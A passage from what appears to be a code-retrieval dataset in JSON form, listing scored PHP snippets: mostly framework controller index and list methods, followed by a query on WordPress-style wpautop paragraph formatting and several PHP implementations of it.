array(\r\n 'action_list' => array(),\r\n 'app_list' => array()\r\n );\r\n $settings = array(\r\n 'action_list' => array(),\r\n 'app_list' => array(\r\n 'index' => 'id',\r\n 'flat' => true\r\n )\r\n );\r\n\r\n $params['action_list'] = array_merge($params['action_list'], $pagination);\r\n\r\n $list_action = api::query('action/list', $params['action_list'], $settings['action_list']);\r\n $list_app = api::query('app/list', $params['app_list'], $settings['app_list']);\r\n\r\n view::load('action/index', array(\r\n 'list' => $list_action,\r\n 'list_app' => $list_app\r\n ));\r\n }", "title": "" }, { "docid": "4b73ff248c275a450b6b06ae7c7d865d", "score": "0.6613253", "text": "public function index()\n {\n $question = QuestionResource::collection(Question::latest()->orderBy('created_at', 'desc')->get());\n if(!$question){\n\n return $this->errorResponse('Unable to display data', Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n return $this->successResponse('Sucessfully retrieved', $question);\n }", "title": "" }, { "docid": "15031eb36d46b41edbdfa84a0c42bb01", "score": "0.6612227", "text": "public function index() {\r\r\n $this->render('list', array(\r\r\n 'model' => SWarehousesQuery::create()->orderByName()->find()\r\r\n ));\r\r\n }", "title": "" }, { "docid": "35692a0ab217d82c0f91016d22be4979", "score": "0.6611719", "text": "public function indexAction()\n {\n\n $query = $this->getEntityManager()->getRepository($this->repository)->findAllQuery();\n\n\n $paginator = $this->get('knp_paginator');\n $pagination = $paginator->paginate($query, $this->get('request')->query->get('page', 1), 10);\n\n return $this->render($this->path_template.':index.html.twig', array('pagination' => $pagination, 'route_prefix'=>$this->route_prefix));\n }", "title": "" }, { "docid": "35f42e407939ea25f4a1c4444087457d", "score": "0.66101444", "text": "public function listAction()\n {\n $repository = $this\n ->getDoctrine()\n ->getManager()\n ->getRepository('AnimalBundle:Animal');\n\n $listAnimals = $repository->findAll();\n\n return $this->render('AnimalBundle:AnimalView:list.html.twig',\n array('listAnimals' => $listAnimals));\n }", "title": "" }, { "docid": "41589d7dcb96a7716421880c470b44b4", "score": "0.66068393", "text": "public function listar() {\n\t\t// Necessita estar logado\n\t\t$this->areaRestrita();\n\t\t// Carrega e Cria objeto LivroDAO e pega o livro através do ID solicitado.\n\t\t$this->carregar->model( 'LivroDAO' );\n\t\t$livroDAO = new LivroDAO();\n\t\t$livros = $livroDAO->getAll();\n\t\t// Configura dados para views\n\t\t$dados['titulo'] = 'Listagem de Livros';\n\t\t$dados['livros'] = $livros;\n\t\t// Carrega views e passa os dados\n\t\t$this->carregar->view( 'header', $dados );\n\t\t$this->carregar->view( 'livro-listagem', $dados );\n\t\t$this->carregar->view( 'footer', $dados );\n\t}", "title": "" }, { "docid": "6c7146b6de1d2af3d9e2d73c479e7aed", "score": "0.6595321", "text": "public function showList(){\n $data = $this->parent->getModel('students')->select(\"select * from students\");\n $this->getView('welcome', $data);\n }", "title": "" }, { "docid": "49a8b829d62fb46df0f6fe939a00450a", "score": "0.6590174", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\tif($page < 1) $page = 1;\n\t\t$perpage = $this->perpage;\n\t\t$search = $this->getInput(array('status', 'name'));\n\t\t$params = array();\n\t\tif ($search['name']) $params['name'] = array('LIKE',$search['name']);\n\t\tif ($search['status']) $params['status'] = $search['status'] - 1;\n\t\t\n\t\tlist($total, $apps) = Resource_Service_Apps::getList($page, $perpage,$params);\n\t\t$this->assign('total', $total);\n\t\t$this->assign('search', $search);\n\t\t$this->assign('apps', $apps);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'?'));\n\t\t\n\t}", "title": "" }, { "docid": "f1f43cdbf27fc281ff80e5815bb8570c", "score": "0.658782", "text": "public function index()\n {\n //\n $albums = Album::paginate();\n return AlbumIndexResource::collection($albums);\n }", "title": "" }, { "docid": "5c9e2a1b72736e4dcd1233a696308ec8", "score": "0.6582557", "text": "public function index()\n {\n $records = Record::paginate(10);\n return $this->response->paginator($records,new RecordTransformer());\n }", "title": "" }, { "docid": "d97fb91a2aee3ffda67b936f3ec1530c", "score": "0.65746504", "text": "public function listAction() {\n\t\ttry{\t\t\t\n\t\t\t// Code\n\t\t\t\n\t\t}catch (Exception $e){\n\t\t\tApplication_Model_Logging::lwrite($e->getMessage());\n\t\t\tthrow new Exception($e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "246c2fdf450c470dd098e3882419854d", "score": "0.6574552", "text": "public function index()\n {\n $accounts = Accounts::all()->sortBy('account_id');\n return AccountResource::collection($accounts);\n }", "title": "" }, { "docid": "ec0e4aa9e49eb0795b7e6a8be1b41989", "score": "0.6574522", "text": "public function index()\n {\n $articles = Article::all()->paginate();\n return ArticleResource::collection($articles);\n }", "title": "" }, { "docid": "218a3bcc6c3ba48283149f8614d45562", "score": "0.65740526", "text": "public function index() {\n\t\t$this->get ();\n\t}", "title": "" }, { "docid": "52d4724f47f90e2c76c949609866ae4f", "score": "0.6569384", "text": "public function index()\n {\n $activities = Activity::paginate(10);\n\n return ActivityResource::collection($activities);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.65643096", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "e128a7f6c946e062e77ee7d1989bf5d8", "score": "0.65632993", "text": "public function index()\n {\n $books = BookModel::readlist();\n\n View::render('books', [\n 'books' => $books,\n 'h1' => 'Gelezen boeken'\n ]);\n }", "title": "" }, { "docid": "fc610d852bef476f1af745c4c2af61e5", "score": "0.65593004", "text": "public function actionList() {\n\t\tif (Yii::$app->user->isGuest)\n\t\t\treturn $this->goHome();\n\n\t\t$this->view->title = 'Parkings';\n\n\t\ttry {\n\t\t\t$parkingService = $this->getService('Parking');\n\n\t\t\t$filter = $parkingService->getAmountOfParkings();\n\n\t\t\t$lists = $parkingService->getExtendedParkingsWithPagination();\n\n\t\t\treturn $this->render('list', array_merge($lists, $filter));\n\t\t} catch (Exception $e) {\n\t\t\tdie('You have reached an error');\n\t\t}\n\t}", "title": "" }, { "docid": "c6aa0bf17a52ccba8cef81895f7d4743", "score": "0.6558353", "text": "public function listAction()\n {\n $items = $this\n ->getDoctrine()\n ->getManager()\n ->getRepository('dabioRestBundle:Item')\n ->findAll();\n\n return new JsonResponse(\n (new EntityFormatter())->itemsArrayFormat($items)\n );\n }", "title": "" }, { "docid": "8054960a74546fc23b5d2f35f62311f9", "score": "0.655775", "text": "public function index()\n {\n\n $data = array(\n 'objects' => $this->campus_dao->findAll(),\n 'title' => 'Campus',\n 'heading' => 'List'\n );\n $this->load->view('/campus/list_campus.html.php', $data);\n }", "title": "" }, { "docid": "028d46f6e03fe91c0522d5be2a68c84a", "score": "0.65464103", "text": "public function index()\n {\n /** @var TodoListFilter $filter */\n $filter = app(TodoListFilter::class);\n /** @var Builder $filterQuery */\n $filterQuery = TodoList::filtered($filter);\n $todoLists = $filterQuery->get();\n return TodoListResource::collection($todoLists);\n }", "title": "" }, { "docid": "cd869da4373ca1c5aacd86ca9e044733", "score": "0.65443367", "text": "public function index() {\n\t\t$items = Item::orderby('id', 'desc')->get();\n\t\treturn view('back.item.itemList', compact('items'));\n\t}", "title": "" }, { "docid": "6ab14cbe951cf99431f26e856993aeb2", "score": "0.65421754", "text": "public function listAction()\n {\n $id = $this->params()->fromRoute('id');\n $result = [];\n if($id != null)\n {\n //$result = [$this->getEntryMapper()->find($id)];\n $result = [$this->entryService->findById($id)];\n }\n else \n {\n //$result = $this->getEntryMapper()->findAll();\n $result = $this->entryService->getList();\n\n }\n\n\n return new JsonModel($result);\n }", "title": "" }, { "docid": "55d08c8376aee349e27945fa819f675a", "score": "0.6540213", "text": "public function index()\n {\n $skills = $this->paginate($this->Skills);\n\n $this->set(compact('skills'));\n $this->set('_serialize', ['skills']);\n }", "title": "" }, { "docid": "bed8333589debc932ee4e761c485f848", "score": "0.6539858", "text": "public function index()\n {\n $menus = Menu::paginate(5);\n\n return MenuResource::collection($menus);\n }", "title": "" }, { "docid": "bc7e32d2dc7868c5cd4ab0e5ac368f4f", "score": "0.65352106", "text": "public function listAction() {\n $this->_datatable();\n return $this->render('BackendBundle:Stage:list.html.twig');\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.65288365", "text": "public function list()\n {\n }", "title": "" }, { "docid": "2624e2ced80d3c035b447f1814374386", "score": "0.65278465", "text": "public function indexAction()\n {\n $booksWithPagination = Book::getBooks();\n $books = $booksWithPagination[0];\n $pagination = $booksWithPagination[1];\n View::renderTemplate('Admin/Books/index.html.twig', [\n 'books' => $books,\n 'pagination' => $pagination,\n ]);\n }", "title": "" }, { "docid": "643a311a5374346f79ec6c6c8a6268ed", "score": "0.6525733", "text": "public function index()\n {\n $items = Item::all();\n return response([ 'items' => ItemResource::collection( $items ), 'message' => 'Retrieved successfully.'], 200);\n }", "title": "" }, { "docid": "e6ed7387b2f7ef94c4ddb847772440e7", "score": "0.652384", "text": "public function index()\n {\n $listings = Listing::with('users')->latest()->paginate(10);\n\n return view('listing.index', compact('listings'));\n }", "title": "" }, { "docid": "c233c1a42dce20a9ec5ced0ce2fbcab1", "score": "0.6521962", "text": "public function index()\n {\n // Get Companies\n $companies = Company::with('account')->orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of companies as a resource\n return CompanyResource::collection($companies);\n }", "title": "" }, { "docid": "c7fd0eccaead0fa95ba4acb733bc6a7b", "score": "0.6514799", "text": "public function index()\n\t\n\t{\t\n\t\t\n\t\t$data['lists'] = $this->mdl_visitor->get_all();\n\t\t$this->template->set('title', 'Visitor List');\n\t\t$this->template->load('template', 'contents', 'list', $data);\n\t}", "title": "" }, { "docid": "afe78dff3214bed74d61a58d722b860d", "score": "0.65146184", "text": "public function index()\n {\n $collections = Collection::all();\n return view(\"list.index\",compact(\"collections\"));\n }", "title": "" } ]
39ecfbc476e8244644eaece48275c7d2
Replaces double linebreaks with paragraph elements. From Wordpress formatting.php wpautop() function A group of regex replaces used to identify text formatted with newlines and replace double linebreaks with HTML paragraph tags. The remaining linebreaks after conversion become > tags, unless $br is set to '0' or 'false'.
[ { "docid": "ee1648f5e79a15017413e0d3ab2485ad", "score": "0.5806383", "text": "public static function autop($pee, $br = true)\n {\n if(trim($pee) === '')\n return '';\n $pee = $pee.\"\\n\"; // just to make things a little easier, pad the end\n $pee = preg_replace('|<br />\\s*<br />|', \"\\n\\n\", $pee);\n // Space things out a little\n $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|option|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';\n $pee = preg_replace('!(<'.$allblocks.'[^>]*>)!', \"\\n$1\", $pee);\n $pee = preg_replace('!(</'.$allblocks.'>)!', \"$1\\n\\n\", $pee);\n $pee = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $pee); // cross-platform newlines\n if(strpos($pee, '<object') !== false)\n {\n $pee = preg_replace('|\\s*<param([^>]*)>\\s*|', \"<param$1>\", $pee); // no pee inside object/embed\n $pee = preg_replace('|\\s*</embed>\\s*|', '</embed>', $pee);\n }\n $pee = preg_replace(\"/\\n\\n+/\", \"\\n\\n\", $pee); // take care of duplicates\n // make paragraphs, including one at the end\n $pees = preg_split('/\\n\\s*\\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);\n $pee = '';\n foreach($pees as $tinkle)\n $pee .= '<p>'.trim($tinkle, \"\\n\").\"</p>\\n\";\n $pee = preg_replace('|<p>\\s*</p>|', '',\n $pee); // under certain strange conditions it could create a P of entirely whitespace\n $pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', \"<p>$1</p></$2>\", $pee);\n $pee = preg_replace('!<p>\\s*(</?'.$allblocks.'[^>]*>)\\s*</p>!', \"$1\", $pee); // don't pee all over a tag\n $pee = preg_replace(\"|<p>(<li.+?)</p>|\", \"$1\", $pee); // problem with nested lists\n $pee = preg_replace('|<p><blockquote([^>]*)>|i', \"<blockquote$1><p>\", $pee);\n $pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);\n $pee = preg_replace('!<p>\\s*(</?'.$allblocks.'[^>]*>)!', \"$1\", $pee);\n $pee = preg_replace('!(</?'.$allblocks.'[^>]*>)\\s*</p>!', \"$1\", $pee);\n if($br)\n {\n $pee = preg_replace_callback('/<(script|style).*?<\\/\\\\1>/s', 'Tool::_autopNewlinePreservationHelper',\n $pee);\n $pee = preg_replace('|(?<!<br />)\\s*\\n|', \"<br />\\n\", $pee); // optionally make line breaks\n $pee = str_replace('<PreserveNewline />', \"\\n\", $pee);\n }\n $pee = preg_replace('!(</?'.$allblocks.'[^>]*>)\\s*<br />!', \"$1\", $pee);\n $pee = preg_replace('!<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);\n if(strpos($pee, '<pre') !== false)\n $pee = preg_replace_callback('!(<pre[^>]*>)(.*?)</pre>!is', 'Tool::cleanPre', $pee);\n $pee = preg_replace(\"|\\n</p>$|\", '</p>', $pee);\n\n return $pee;\n }", "title": "" } ]
[ { "docid": "14de9085af92752242049514392c05eb", "score": "0.7244386", "text": "function test_that_wpautop_adds_a_paragraph_after_multiple_br() {\n\t\t$content = '\nline 1<br>\n<br/>\nline 2<br/>\n<br />\n';\n\n\t\t$expected = '<p>line 1</p>\n<p>line 2</p>';\n\n\t\t$this->assertSameIgnoreEOL( $expected, trim( wpautop( $content ) ) );\n\t}", "title": "" }, { "docid": "c78045029e89f43dea48c1fc47865401", "score": "0.6938954", "text": "function auto_p($str, $br = TRUE)\n{\n // Trim whitespace\n if (($str = trim($str)) === '')\n return '';\n\n // Standardize newlines\n $str = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n\n // Trim whitespace on each line\n $str = preg_replace('~^[ \\t]+~m', '', $str);\n $str = preg_replace('~[ \\t]+$~m', '', $str);\n\n // The following regexes only need to be executed if the string contains html\n if ($html_found = (strpos($str, '<') !== FALSE))\n {\n // Elements that should not be surrounded by p tags\n $no_p = '(?:p|div|h[1-6r]|ul|ol|li|blockquote|d[dlt]|pre|t[dhr]|t(?:able|body|foot|head)|c(?:aption|olgroup)|form|s(?:elect|tyle)|a(?:ddress|rea)|ma(?:p|th))';\n\n // Put at least two linebreaks before and after $no_p elements\n $str = preg_replace('~^<'.$no_p.'[^>]*+>~im', \"\\n$0\", $str);\n $str = preg_replace('~</'.$no_p.'\\s*+>$~im', \"$0\\n\", $str);\n }\n\n // Do the <p> magic!\n $str = '<p>'.trim($str).'</p>';\n $str = preg_replace('~\\n{2,}~', \"</p>\\n\\n<p>\", $str);\n\n // The following regexes only need to be executed if the string contains html\n if ($html_found !== FALSE)\n {\n // Remove p tags around $no_p elements\n $str = preg_replace('~<p>(?=</?'.$no_p.'[^>]*+>)~i', '', $str);\n $str = preg_replace('~(</?'.$no_p.'[^>]*+>)</p>~i', '$1', $str);\n }\n\n // Convert single linebreaks to <br />\n if ($br === TRUE)\n {\n $str = preg_replace('~(?<!\\n)\\n(?!\\n)~', \"<br />\\n\", $str);\n }\n\n return $str;\n}", "title": "" }, { "docid": "97e0daead4a3f36d19c76d4f9265ccd8", "score": "0.6891592", "text": "function parse_breaks($txt, $br = true)\n\t{\n\t\t$txt = $txt . \"\\n\"; // just to make things a little easier, pad the end\n\t\t$txt = preg_replace('`<br />\\s*<br />`', \"\\n\\n\", $txt);\n\t\t// Space things out a little\n\t\t$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|option|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|details|menu|summary)';\n\t\t$txt = preg_replace('`(<' . $allblocks . '[^>]*>)`', \"\\n$1\", $txt);\n\t\t$txt = preg_replace('`(</' . $allblocks . '>)`', \"$1\\n\\n\", $txt);\n\t\t$txt = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $txt); // cross-platform newlines\n\t\tif(strpos($txt, '<object') !== false){\n\t\t\t$txt = preg_replace('`\\s*<param([^>]*)>\\s*`', \"<param$1>\", $txt); // no pee inside object/embed\n\t\t\t$txt = preg_replace('`\\s*</embed>\\s*`', '</embed>', $txt);\n\t\t}\n\t\t$txt = preg_replace(\"`\\n\\n+`\", \"\\n\\n\", $txt); // take care of duplicates\n\t\t// make paragraphs, including one at the end\n\t\t$txts = preg_split('`\\n\\s*\\n`', $txt, -1, PREG_SPLIT_NO_EMPTY);\n\t\t$txt = '';\n\t\tforeach($txts as $tinkle){\n\t\t\t$txt .= '<p>' . trim($tinkle, \"\\n\") . \"</p>\\n\";\n\t\t}\n\t\t$txt = preg_replace('`<p>\\s*</p>`', '', $txt); // under certain strange conditions it could create a P of entirely whitespace\n\t\t$txt = preg_replace('`<p>([^<]+)</(div|address|form)>`', \"<p>$1</p></$2>\", $txt);\n\t\t$txt = preg_replace('`<p>\\s*(</?' . $allblocks . '[^>]*>)\\s*</p>`', \"$1\", $txt); // don't pee all over a tag\n\t\t$txt = preg_replace(\"`<p>(<li.+?)</p>`\", \"$1\", $txt); // problem with nested lists\n\t\t$txt = preg_replace('`<p><blockquote([^>]*)>`i', \"<blockquote$1><p>\", $txt);\n\t\t$txt = str_replace('</blockquote></p>', '</p></blockquote>', $txt);\n\t\t$txt = preg_replace('`<p>\\s*(</?' . $allblocks . '[^>]*>)`', \"$1\", $txt);\n\t\t$txt = preg_replace('`(</?' . $allblocks . '[^>]*>)\\s*</p>`', \"$1\", $txt);\n\t\tif($br) {\n\t\t\t$txt = preg_replace_callback('/<(script|style|noparse).*?<\\/\\\\1>/s',\n\t\t\t\tcreate_function('$out','return str_replace(\"\\n\", \"<WPPreserveNewline />\", $out[0]);'),\n\t\t\t\t$txt);\n\t\t\t$txt = preg_replace('|(?<!<br />)\\s*\\n|', \"<br />\\n\", $txt); // optionally make line breaks\n\t\t\t$txt = str_replace('<WPPreserveNewline />', \"\\n\", $txt);\n\t\t}\n\t\t$txt = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*<br />!', \"$1\", $txt);\n\t\t$txt = preg_replace('!<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $txt);\n\t\tif(strpos($txt, '<pre') !== false)\n\t\t{\n\t\t\t$txt = preg_replace_callback('`<pre[^>]*>.*?</pre>`is',\n\t\t\t\tcreate_function('$out','return str_replace(array(\"<br />\",\"<p>\",\"</p>\"),array(\"\",\"\\n\",\"\"),$out[0]);'),\n\t\t\t\t$txt );\n\t\t}\n\t\t$txt = preg_replace( \"|\\n</p>$|\", '</p>', $txt );\n\n\t\treturn $txt;\n\t}", "title": "" }, { "docid": "83c98053f2f193961f771afca38d8192", "score": "0.6886314", "text": "function wpautop($pee, $br = true) {\n\n $pre_tags = array();\n\n if ( trim($pee) === '' )\n return '';\n\n // Just to make things a little easier, pad the end.\n $pee = $pee . \"\\n\";\n\n /*\n * Pre tags shouldn't be touched by autop.\n * Replace pre tags with placeholders and bring them back after autop.\n */\n if ( strpos($pee, '<pre') !== false ) {\n $pee_parts = explode( '</pre>', $pee );\n $last_pee = array_pop($pee_parts);\n $pee = '';\n $i = 0;\n\n foreach ( $pee_parts as $pee_part ) {\n $start = strpos($pee_part, '<pre');\n\n // Malformed html?\n if ( $start === false ) {\n $pee .= $pee_part;\n continue;\n }\n\n $name = \"<pre wp-pre-tag-$i></pre>\";\n $pre_tags[$name] = substr( $pee_part, $start ) . '</pre>';\n\n $pee .= substr( $pee_part, 0, $start ) . $name;\n $i++;\n }\n\n $pee .= $last_pee;\n }\n // Change multiple <br>s into two line breaks, which will turn into paragraphs.\n $pee = preg_replace('|<br />\\s*<br />|', \"\\n\\n\", $pee);\n\n $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';\n\n // Add a single line break above block-level opening tags.\n $pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', \"\\n$1\", $pee);\n\n // Add a double line break below block-level closing tags.\n $pee = preg_replace('!(</' . $allblocks . '>)!', \"$1\\n\\n\", $pee);\n\n // Standardize newline characters to \"\\n\".\n $pee = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $pee);\n\n // Find newlines in all elements and add placeholders.\n $pee = wp_replace_in_html_tags( $pee, array( \"\\n\" => \" <!-- wpnl --> \" ) );\n\n // Collapse line breaks before and after <option> elements so they don't get autop'd.\n if ( strpos( $pee, '<option' ) !== false ) {\n $pee = preg_replace( '|\\s*<option|', '<option', $pee );\n $pee = preg_replace( '|</option>\\s*|', '</option>', $pee );\n }\n\n /*\n * Collapse line breaks inside <object> elements, before <param> and <embed> elements\n * so they don't get autop'd.\n */\n if ( strpos( $pee, '</object>' ) !== false ) {\n $pee = preg_replace( '|(<object[^>]*>)\\s*|', '$1', $pee );\n $pee = preg_replace( '|\\s*</object>|', '</object>', $pee );\n $pee = preg_replace( '%\\s*(</?(?:param|embed)[^>]*>)\\s*%', '$1', $pee );\n }\n\n /*\n * Collapse line breaks inside <audio> and <video> elements,\n * before and after <source> and <track> elements.\n */\n if ( strpos( $pee, '<source' ) !== false || strpos( $pee, '<track' ) !== false ) {\n $pee = preg_replace( '%([<\\[](?:audio|video)[^>\\]]*[>\\]])\\s*%', '$1', $pee );\n $pee = preg_replace( '%\\s*([<\\[]/(?:audio|video)[>\\]])%', '$1', $pee );\n $pee = preg_replace( '%\\s*(<(?:source|track)[^>]*>)\\s*%', '$1', $pee );\n }\n\n // Remove more than two contiguous line breaks.\n $pee = preg_replace(\"/\\n\\n+/\", \"\\n\\n\", $pee);\n\n // Split up the contents into an array of strings, separated by double line breaks.\n $pees = preg_split('/\\n\\s*\\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);\n\n // Reset $pee prior to rebuilding.\n $pee = '';\n\n // Rebuild the content as a string, wrapping every bit with a <p>.\n foreach ( $pees as $tinkle ) {\n $pee .= '<p>' . trim($tinkle, \"\\n\") . \"</p>\\n\";\n }\n\n // Under certain strange conditions it could create a P of entirely whitespace.\n $pee = preg_replace('|<p>\\s*</p>|', '', $pee); \n\n // Add a closing <p> inside <div>, <address>, or <form> tag if missing.\n $pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', \"<p>$1</p></$2>\", $pee);\n \n // If an opening or closing block element tag is wrapped in a <p>, unwrap it.\n $pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee); \n \n // In some cases <li> may get wrapped in <p>, fix them.\n $pee = preg_replace(\"|<p>(<li.+?)</p>|\", \"$1\", $pee); \n \n // If a <blockquote> is wrapped with a <p>, move it inside the <blockquote>.\n $pee = preg_replace('|<p><blockquote([^>]*)>|i', \"<blockquote$1><p>\", $pee);\n $pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);\n \n // If an opening or closing block element tag is preceded by an opening <p> tag, remove it.\n $pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)!', \"$1\", $pee);\n \n // If an opening or closing block element tag is followed by a closing <p> tag, remove it.\n $pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee);\n\n // Optionally insert line breaks.\n if ( $br ) {\n // Replace newlines that shouldn't be touched with a placeholder.\n $pee = preg_replace_callback('/<(script|style).*?<\\/\\\\1>/s', '_autop_newline_preservation_helper', $pee);\n\n // Replace any new line characters that aren't preceded by a <br /> with a <br />.\n $pee = preg_replace('|(?<!<br />)\\s*\\n|', \"<br />\\n\", $pee); \n\n // Replace newline placeholders with newlines.\n $pee = str_replace('<WPPreserveNewline />', \"\\n\", $pee);\n }\n\n // If a <br /> tag is after an opening or closing block tag, remove it.\n $pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*<br />!', \"$1\", $pee);\n \n // If a <br /> tag is before a subset of opening or closing block tags, remove it.\n $pee = preg_replace('!<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);\n $pee = preg_replace( \"|\\n</p>$|\", '</p>', $pee );\n\n // Replace placeholder <pre> tags with their original content.\n if ( !empty($pre_tags) )\n $pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee);\n\n // Restore newlines in all elements.\n $pee = str_replace( \" <!-- wpnl --> \", \"\\n\", $pee );\n\n\n $pee = str_replace(']]>', ']]&gt;', $pee);\n \n return $pee;\n}", "title": "" }, { "docid": "69c13f4fd7725c4b3811c460389e7b13", "score": "0.67778945", "text": "function cod_wpautop( $pee, $br = true ) {\n $pre_tags = array();\n\n if ( trim($pee) === '' )\n return '';\n\n // Just to make things a little easier, pad the end.\n $pee = $pee . \"\\n\";\n\n /*\n * Pre tags shouldn't be touched by autop.\n * Replace pre tags with placeholders and bring them back after autop.\n */\n if ( strpos($pee, '<pre') !== false ) {\n $pee_parts = explode( '</pre>', $pee );\n $last_pee = array_pop($pee_parts);\n $pee = '';\n $i = 0;\n\n foreach ( $pee_parts as $pee_part ) {\n $start = strpos($pee_part, '<pre');\n\n // Malformed html?\n if ( $start === false ) {\n $pee .= $pee_part;\n continue;\n }\n\n $name = \"<pre wp-pre-tag-$i></pre>\";\n $pre_tags[$name] = substr( $pee_part, $start ) . '</pre>';\n\n $pee .= substr( $pee_part, 0, $start ) . $name;\n $i++;\n }\n\n $pee .= $last_pee;\n }\n // Change multiple <br>s into two line breaks, which will turn into paragraphs.\n $pee = preg_replace('|<br\\s*/?>\\s*<br\\s*/?>|', \"\\n\\n\", $pee);\n\n $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';\n\n // Add a double line break above block-level opening tags.\n $pee = preg_replace('!(<' . $allblocks . '[\\s/>])!', \"\\n\\n$1\", $pee);\n\n // Add a double line break below block-level closing tags.\n $pee = preg_replace('!(</' . $allblocks . '>)!', \"$1\\n\\n\", $pee);\n\n $shortcode_blocks = '(?:row|col)';\n $pee = preg_replace('!(\\[' . $shortcode_blocks . '[\\s/\\]])!', \"\\n\\n$1\", $pee);\n $pee = preg_replace('!(\\[/' . $shortcode_blocks . '\\])!', \"$1\\n\\n\", $pee);\n\n // Standardize newline characters to \"\\n\".\n $pee = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $pee);\n\n // Find newlines in all elements and add placeholders.\n $pee = wp_replace_in_html_tags( $pee, array( \"\\n\" => \" <!-- wpnl --> \" ) );\n\n // Collapse line breaks before and after <option> elements so they don't get autop'd.\n if ( strpos( $pee, '<option' ) !== false ) {\n $pee = preg_replace( '|\\s*<option|', '<option', $pee );\n $pee = preg_replace( '|</option>\\s*|', '</option>', $pee );\n }\n\n /*\n * Collapse line breaks inside <object> elements, before <param> and <embed> elements\n * so they don't get autop'd.\n */\n if ( strpos( $pee, '</object>' ) !== false ) {\n $pee = preg_replace( '|(<object[^>]*>)\\s*|', '$1', $pee );\n $pee = preg_replace( '|\\s*</object>|', '</object>', $pee );\n $pee = preg_replace( '%\\s*(</?(?:param|embed)[^>]*>)\\s*%', '$1', $pee );\n }\n\n /*\n * Collapse line breaks inside <audio> and <video> elements,\n * before and after <source> and <track> elements.\n */\n if ( strpos( $pee, '<source' ) !== false || strpos( $pee, '<track' ) !== false ) {\n $pee = preg_replace( '%([<\\[](?:audio|video)[^>\\]]*[>\\]])\\s*%', '$1', $pee );\n $pee = preg_replace( '%\\s*([<\\[]/(?:audio|video)[>\\]])%', '$1', $pee );\n $pee = preg_replace( '%\\s*(<(?:source|track)[^>]*>)\\s*%', '$1', $pee );\n }\n\n // Remove more than two contiguous line breaks.\n $pee = preg_replace(\"/\\n\\n+/\", \"\\n\\n\", $pee);\n\n // Split up the contents into an array of strings, separated by double line breaks.\n $pees = preg_split('/\\n\\s*\\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);\n\n // Reset $pee prior to rebuilding.\n $pee = '';\n\n // Rebuild the content as a string, wrapping every bit with a <p>.\n foreach ( $pees as $tinkle ) {\n $pee .= '<p>' . trim($tinkle, \"\\n\") . \"</p>\\n\";\n }\n\n // Under certain strange conditions it could create a P of entirely whitespace.\n $pee = preg_replace('|<p>\\s*</p>|', '', $pee);\n\n // Add a closing <p> inside <div>, <address>, or <form> tag if missing.\n $pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', \"<p>$1</p></$2>\", $pee);\n\n // If an opening or closing block element tag is wrapped in a <p>, unwrap it.\n $pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee);\n $pee = preg_replace('!<p>\\s*(\\[/?' . $shortcode_blocks . '[^\\]]*\\])\\s*</p>!', \"$1\", $pee);\n\n // In some cases <li> may get wrapped in <p>, fix them.\n $pee = preg_replace(\"|<p>(<li.+?)</p>|\", \"$1\", $pee);\n\n // If a <blockquote> is wrapped with a <p>, move it inside the <blockquote>.\n $pee = preg_replace('|<p><blockquote([^>]*)>|i', \"<blockquote$1><p>\", $pee);\n $pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);\n\n // If an opening or closing block element tag is preceded by an opening <p> tag, remove it.\n $pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)!', \"$1\", $pee);\n $pee = preg_replace('!<p>\\s*(\\[/?' . $allblocks . 